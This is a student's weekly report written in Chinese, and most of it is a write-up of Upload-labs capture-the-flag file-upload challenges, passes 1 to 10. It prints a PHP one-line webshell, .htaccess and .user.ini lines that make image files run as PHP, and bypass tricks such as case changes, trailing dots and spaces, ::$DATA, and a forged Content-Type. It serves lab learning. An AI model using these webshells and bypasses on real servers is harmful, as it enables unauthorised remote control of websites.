计科 234 徐潘第 7 周周报

这周放假前又复习整理了一下之前 Upload-labs 的靶场以及 21 关的解题思路和过程，但是我好像发现，因为我把靶场搭建在了 win10 系统上，但是 BUUCTF 上的那个靶场应该是搭建了 Linux 系统上，两种系统还是有区别的，其中有些思路可能在 Linux 系统上不是很行的通，但是这周也没来得及再去钻研，主要还是把之前 wp 给整理一下，下面就是我整理的全部内容了

```
#**Upload-Labs-Pass1**


**任务：上传一个 webshell 到服务器。**
```

```
网站有一个可以上传图片文件的区域
首先尝试上传一个非法文件，使用 BurpSuite 抓包，打开拦截
弹出了文件类型错误的提示，但 BP 并没有抓到包，说明文件上传时是在前端检测的
```

```
通过资料查询得知 Upload-Labs 的系列题目大部分需要绕过系统检测来上传入侵文件，因此本题选择使用一句话木马来破解。
首先写一个 php 文件：
```

```
```shell
<?php
@eval($_POST['a']);
?>
```
```

```
这就是一个一句话木马，通过这个文件在网站上留下后门，在通过工具连接它，进而达到对服务器的操控
其中 POST['a']为连接密码
然后将文件后缀 php 该为 jpg，打开 BurpSuite 拦截，上传文件，这次成功抓到包，说明绕过了前端检测，将拦截的包内数据的后缀名改回 php，随后放行
可以看到文件上传成功，但是是 php 格式，使用蚁剑连接后门，可以看到连接成功
```

```
#**Upload-Labs-Pass2**


**任务：上传一个 webshell 到服务器**
```

```
和第一题一样，有一个图片文件上传区
本题任务还是上传非法文件入侵，仍旧先打开抓包拦截上传一个非法文件
这次抓到包了，说明对文件的检测在后端，jpg 文件可以正常上传，抓到上传 jpg 文件的包：
```

```
```shell
POST /Pass-02/index.php HTTP/1.1
Host: eea6b660-1988-441b-a963-39ff34b0eaad.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
```
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundarybbe097350cd74488cfb8767e81083a05
Content-Length: 185721
Origin: http://eea6b660-1988-441b-a963-39ff34b0eaad.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://eea6b660-1988-441b-a963-39ff34b0eaad.node5.buuoj.cn:81/Pass-02/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

```
------geckoformboundarybbe097350cd74488cfb8767e81083a05
Content-Disposition: form-data; name="upload_file"; filename="LittleGhost.jpg"
Content-Type: image/jpeg
```

省略了下面的图片字符可以看到这是发送至后端的信息，若在拦截时将“Content-Type: image/jpeg”这一行删去再放行，发现这次提示了文件格式错误，不允许上传。
这说明后端在进行文件检测时是通过 Content-Type 信息判断的，当然也有同时多条件判断的可能。

由此可以将上传的 php 文件抓包拦截下来，将 Content-Type:后的信息改为合法的 image/jpeg，即可绕过后端的检测
php 文件上传成功，用蚁剑测试连接后门也成功了

```
#**Upload-Labs-Pass3**

**任务：上传一个 webshell 到服务器**
```

一样有一个图片文件上传区，任务还是上传非法文件入侵，先打开抓包拦截上传一个非法文件
这次也抓到包了，但是在放行后提示不允许上传.asp,.aspx,.php,.jsp 后缀文件，可见这些文件类型已经拉黑了，后端有白名单、黑名单检测
看一下源码：

```shell
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//*删除文件名末尾的点*
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //*转换为小写*
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//*去除字符串::$DATA*
```

```
        $file_ext = trim($file_ext); //*收尾去空*

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp 后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
```

可以看见黑名单上有.asp,.aspx,.php,.jsp 四种文件类型，并对发送的数据进行了一系列处理防止绕过检测
但实际上除了这四种文件类型以外还有很多类型能够当作 php 文件解析，如 php3、php5、phhtml 等

上传 php 文件时使用 BP 拦截抓包，将后缀名改为 php3，可以看到上传成功
使用蚁剑测试连接后门也连接成功

若是在虚拟机上使用 phpstudy 建立的 upload-labs 靶场，可能会出现后门连接不上的情况，这时应切换低版本的 php 运行模式，并在配置文件 httpd.conf 中找到 php 文件解析代码并改成：

```shell
AddType application/x-httpd-php .php  .php3 .php5 .phtml
```

这样，php3、php5、phhtm 后缀的文件也能够作为 php 文件解析了。
但是一般来讲，在没有上传木马及连接后门之前，只有管理员能够配置 httpd.conf 中定义的文件解析方式，因此这种方式只是作为自己搭建的靶场环境的配置，不能直接作为攻击方式

#**Upload-Labs-Pass4**

任务：上传一个 webshell 到服务器

还是先上传一个非法 php 文件：
这次提示此文件不允许上传，打开源代码：

```shell
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext =
array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".
pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".
jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".
aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
```

```shell
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错! ';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建! ';
    }
}
```

可以看到这次几乎所有可以留后门的文件都被列入了黑名单，因此这次不能简单抓包拦截绕过检测；

通过查询资料了解到有一个文件叫做.htaccess 文件，.htaccess 文件是一个纯文本文件，用于存放 Apache 服务器配置相关的指令，实现对特定目录的访问控制、URL 重写、自定义错误页面等功能。而还有一个 httpd.conf 文件是 Apache 服务器的主配置文件，用于定义服务器的基本设置、虚拟主机、模块加载等，控制 Apache Web 服务器的整体行为和功能。

.htaccess 作用范围较为局部，通常位于网站的根目录或特定目录，只影响该目录及其子目录。

而 httpd.conf 作用范围较为全局，影响整个服务器。

注意：.htaccess 文件可以通过文本编译器直接创建和修改，且修改后立即生效，而 httpd.conf 通常需要管理员权限，且需要重启服务器

由此可以想到向网站上传一个.htaccess 来改变网站文件的解析方式：

```shell
AddType application/x-httpd-php .jpg .txt
```

这个.htaccess 文件作用是将.jpg 和.txt 文件按照 php 文件来解析，可以看到这个文件能够成功上传至该网站；
将一句话木马 php 文件后缀改为.jpg，上传至网站，使用蚁剑测试连接后门，可以看到连接成功。

若是自行使用 phpstudy 搭建的靶场，需要将配置文件 httpd.conf 中的 AllowOverride 的值改为 All，否则会禁止.htaccess 文件覆盖任何配置选项。

#**Upload-Labs-Pass5**

任务：上传一个 webshell 到服务器

前置知识点：
.htaccess
作用：分布式配置文件，一般用于 URL·重写、认证、访问控制等
作用范围：特定目录（一般是网站根目录）及其子目录
优先级：较高，可覆盖 Apache·的主要配置文件(httpd-conf)
生效方式：修改后立刻生效

httpd-conf
作用：‘包含 Apache·HTTP·服务器的全局行为和默认设置
作用范围：整个服务器
优先级：较低
生效方式：管理员权限，重启服务器后生效

.user.ini
作用：特定于用户或特定目录的配置文件，通常位于·Web·应用程序的根目录下。它用于覆盖或追加全局配置文件（如·php. ini)中的·PHP·配置选项。
作用范围：存放该文件的目录及其子目录
优先级：较高，可以覆盖 php.ini
生效方式：立即生效

php.ini
作用：存储了对整个·PHP·环境生效的配置选项。它通常位于·PHP·安装目录中
作用范围：所有运行在该·PHP·环境中的·PHP·请求
优先级：较低
生效方式：重启 php 或 web 服务器

加载方式：会首先加载 php.ini/httpd-conf 文件中的配置。然而，如果在某个目录下存在·. user. ini/. htaccess·文件，服务器会在处理请求时检查该目录，并覆盖相应的配置项。

.user. ini 可以生效的前提：

最好大于 5.3.0，最好是用 7. X 版本的

Server·API·为 CGI/FastCGI（可在根目录用 Phpinfo（）查看 Server·API）

（Server·API（Application·Programming·Interface，应用程序编程接口）是一组定义了软件组件之间交互方式的规范。在这种情况下，Server·API·是指用于连接和交互的服务器端软件接口。）

.user. ini 文件上传漏洞的前提：

. user. ini 可以生效并且该上传目录有 php 文件

查看网站源码：

```shell
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext =
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",
".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",
".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",
".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
```

可以看到黑名单上将.htaccess 配置文件也列入了，但是没有过滤.user.ini

那么类似.htaccess，可以用.user.ini 修改配置信息

写法：auto_prepend_file = Trojan.txt(这个文件里面只包含 php 代码)

那么在这个目录下，所有 php 文件在执行之前，都会预先包含 Trojan.txt 中的语句

该靶场在 upload 文件中存在一个 readme.php 目录，可以作为被包含对象

由于网站只接受图片，因此这样写一个.user.ini 文件

```shell
auto_prepend_file = Trojan.jpg
```

其中 Trojan.jpg 是一句话木马改成 jpg 后缀的文件：

```shell
<?php
@eval($_POST['a']);
echo"包含成功<br/>";
?>
```

先上传.user.ini 文件，在上传一句话木马 Trojan.jpg，访问 readme 目录，可以看到“包含成功”的字样，说明.user.ini 文件成功上传

使用蚁剑测试连接，连接成功

若是自行使用 phpstudy 建立的靶场环境，必须使用 7.0 版本以上的 php 运行环境，否则会包含失败

#**Upload-Labs-Pass6**

任务：上传一个 webshell 到服务器

查看源码：

```shell
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext =
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",
".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",
".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",
".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
```

```
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
```

```
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
```

可以看到在对接收到的文件处理时，没有对字母做小写处理，因此可以用大写绕过检测

打开 BP 拦截抓包，上传一个一句话木马 php 文件，将拦截下来的文件后缀名改为“.PhP”，放行后上传成功

使用蚁剑连接后门也连接成功

```
#**Upload-Labs-Pass7**

**任务：上传一个 webshell 到服务器**
```

查看源码：

```shell
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext =
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",
".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",
".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",
".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
```

```
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
```

可以看到在对接收到的文件处理时，没有对首尾去空，因此可以用空格绕过检测

例如“1.php　　”，在上传至网站后，检测会获取后缀名“.php　　”，显然获取的后缀不在黑名单中，即可成功绕过检测

打开 BP 拦截抓包，上传一个一句话木马 php 文件，将拦截下来的文件后缀名改为“.php　　”，放行后上传成功

使用蚁剑连接后门也连接成功

#**Upload-Labs-Pass8**

任务：上传一个 webshell 到服务器

查看源码：

```shell
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext =
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",
".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",
```

```
".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",
".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
```

可以看到在对接收到的文件处理时，没有对文件末尾的“.”进行删去，因此可以用后缀名加点绕过检测
例如“1.php.”，在上传至网站后，检测会获取后缀名“.”，显然获取的后缀不在黑名单中，即可成功绕过检测
打开 BP 拦截抓包，上传一个一句话木马 php 文件，将拦截下来的文件后缀名改为“.php.”，放行后上传成功
注意使用蚁剑连接时不能成功，则将网站末尾多余的“.”删去再连接，后门就能连接成功

#**Upload-Labs-Pass9**

任务：上传一个 webshell 到服务器

前置知识：额外数据流
额外数据流（Alternate Data Stream）是 Windows NT 文件系统（NTFS）支持的一种特性，允许在文件内部创建附加的数据流以存储额外信息。
后缀::$DATA 表示文件的一个附加数据流，可以用于访问文件的额外数据流，加上此后缀的文件不再表示文件本身，而是其附加数据流。
注意，大多数常规的文件操作工具只会处理默认数据流，要访问或操作附加数据流通常需要特定的命令行工具或编程接口。

打开 cmd
写入方法：
echo 内容 >>文件名:数据流名

type 文件名 >>文件名:数据流名

查看方法:

notepad 文件名:数据流名

查看网站源码:

```shell
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext =
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",
".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",
".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",
".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错! ';
            }
        } else {
            $msg = '此文件类型不允许上传! ';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建! ';
    }
}
```

可以看到在对接收到的文件处理时，没有对文件去除字符串::$DATA，因此可以通过附加数据流绕过检测

在 php 文件中，文件的附加数据流是不会验证后缀的，会自动上传上去（附加数据流名称可以命名为诸如“2.txt”的类似文件名称的形式）

打开 BP 拦截抓包，上传一个一句话木马 php 文件，将拦截下来的文件后缀名后面加上“::$DATA”，让网站误认为上传的是一个附加数据流从而不对其进行检测

上传成功后打开上传的文件链接，发现返回 403 找不到该文件，这是因为文件上传成功后，系统会自动删除字符串::$DATA

删去链接末尾的字符串::$DATA，使用蚁剑连接后门，可以连接成功，这是因为系统自动删除字符串::$DATA 后就表示文件本身了，即一句话木马 php 文件

#**Upload-Labs-Pass10**

任务：上传一个 webshell 到服务器

查看网站源码：

```shell
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext =
array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","
jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
```

文件检测逻辑：

1.规定黑名单

2。获取上传的文件名

3.删除文件名末尾的点，并获取文件后缀，通过“.”来分割，将文件分割为“文件名”和“.后缀”，并作一系列处理

4.用 if 语句判断后缀名是否在黑名单中，后缀不在黑名单则拼接文件名上传至传输路径

需要注意此逻辑只执行一次过滤，也就是说在获取文件名后只进行一次删除末尾的点。

例如“1.php. .”，删除末尾点后，再读取的文件后缀是“. ”（不在黑名单中），而拼接至 UPLOAD_PATH 上传路径后的文件名是“1.php.”**（只删除一个点是因为有空格，连续的点会被全删掉）**

因此在上传一句话木马 php 文件时使用 BP 拦截抓包，将后缀名改为“.php. .”，成功上传后使用蚁剑连接后门时去掉网站后面的“.”（因为文件上传成功后，系统会自动删除多余的点和空格），即可连接成功

（必须用 bp 抓包修改，因为 Windows 会自动删去多余的空格和点）

注意：此方法视情况而定，upload-labs 中使用此逻辑的关卡均可用此方法，但如果在拼接时的逻辑是拼接刚刚提取的后缀名，那么最终上传成功的是一个时间路径和一个“.”，无法连接后门，不能用此方法

由于篇幅有限，目前整理了这么多，其实还其他整理了很多东西，到后面再一一展示吧，这些都是我自己写的。